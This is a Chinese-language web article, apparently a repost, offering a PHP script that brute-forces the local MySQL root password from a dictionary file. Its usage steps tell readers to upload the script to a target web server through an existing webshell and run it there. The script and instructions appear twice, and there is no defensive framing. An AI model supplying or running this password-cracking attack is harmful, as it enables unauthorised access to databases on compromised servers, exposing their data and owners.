PHP Mysql 密碼暴力破解代碼，本機(jī)暴力破解 3306 端口
發(fā)布日期：2022-01-29 19:04 | 文章來源：源碼中國
傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫Root或其它用戶的密碼，因為是破解本機(jī)，所以速度奇快無比，貌似還有點效果，這個以前有人發(fā)過，這個是我改過的。已知有一處Bug，不清楚為何，密碼數(shù)量少的時候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時，準(zhǔn)確率0%，明明正確……
<?
set_time_limit(0); //腳本不超時
$user="root"; //用戶名
$passwd=file("password.txt"); //密碼字典
for($i=0;$i<count($passwd);$i++){
$pass=$passwd[$i];
connect($user,$pass);
flush();
}
echo "掃描結(jié)束！";
function connect($user,$pass) {
$conn=@mysql_connect("localhost",$user,$pass);
if($conn){
echo "<font color='#0000FF'><b>得到密碼：<font color='#FF0000'>".$pass."</font>?。?！</b></font>";
exit();
}
else {
echo $pass.'
';
}
}
?>
代碼簡單的不能再簡單了，就不解釋了，功能很簡單，傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫Root或其它用戶的密碼，因為是破解本機(jī)，所以速度奇快無比，貌似還有點效果，這個以前有人發(fā)過，這個是我改過的。
已知有一處Bug，不清楚為何，密碼數(shù)量少的時候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時，準(zhǔn)確率0%，明明正確的密碼，卻不顯示正確，除非你把這個密碼放在字典最末尾，才顯示正確，不清楚是什么原因造成的，開始以為是暴破間隔時間太短，加了延時函數(shù)，還是這樣。。。
或許只是我個別原因？各位試試就知道了。
用法：
1、修改 PHP 代碼中的用戶名
2、準(zhǔn)備字典 password.txt，每行一個，理論上支持無數(shù)行。
3、將腳本和字典一起傳到目標(biāo)Web服務(wù)器上，訪問該腳本，即開始暴力破解，破解結(jié)果實時輸出，盯著就行了。
復(fù)制代碼
代碼如下:<?
set_time_limit(0); //腳本不超時
$user="root"; //用戶名
$passwd=file("password.txt"); //密碼字典
for($i=0;$i<count($passwd);$i++){
$pass=$passwd[$i];
connect($user,$pass);
flush();
}
echo "掃描結(jié)束！";
function connect($user,$pass) {
$conn=@mysql_connect("localhost",$user,$pass);
if($conn){
echo "<font color='#0000FF'><b>得到密碼：<font color='#FF0000'>".$pass."</font>?。?！</b></font>";
exit();
}
else {
echo $pass.'
';
}
}
?>
代碼簡單的不能再簡單了，就不解釋了，功能很簡單，傳到WebShell上去暴力破解本機(jī)的MySql數(shù)據(jù)庫Root或其它用戶的密碼，因為是破解本機(jī)，所以速度奇快無比，貌似還有點效果，這個以前有人發(fā)過，這個是我改過的。
已知有一處Bug，不清楚為何，密碼數(shù)量少的時候，準(zhǔn)確率100%，但是當(dāng)密碼數(shù)量達(dá)到5000以上時，準(zhǔn)確率0%，明明正確的密碼，卻不顯示正確，除非你把這個密碼放在字典最末尾，才顯示正確，不清楚是什么原因造成的，開始以為是暴破間隔時間太短，加了延時函數(shù)，還是這樣。。。
或許只是我個別原因？各位試試就知道了。
用法：
1、修改 PHP 代碼中的用戶名
2、準(zhǔn)備字典 password.txt，每行一個，理論上支持無數(shù)行。
3、將腳本和字典一起傳到目標(biāo)Web服務(wù)器上，訪問該腳本，即開始暴力破解，破解結(jié)果實時輸出，盯著就行了。
版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
關(guān)注官方微信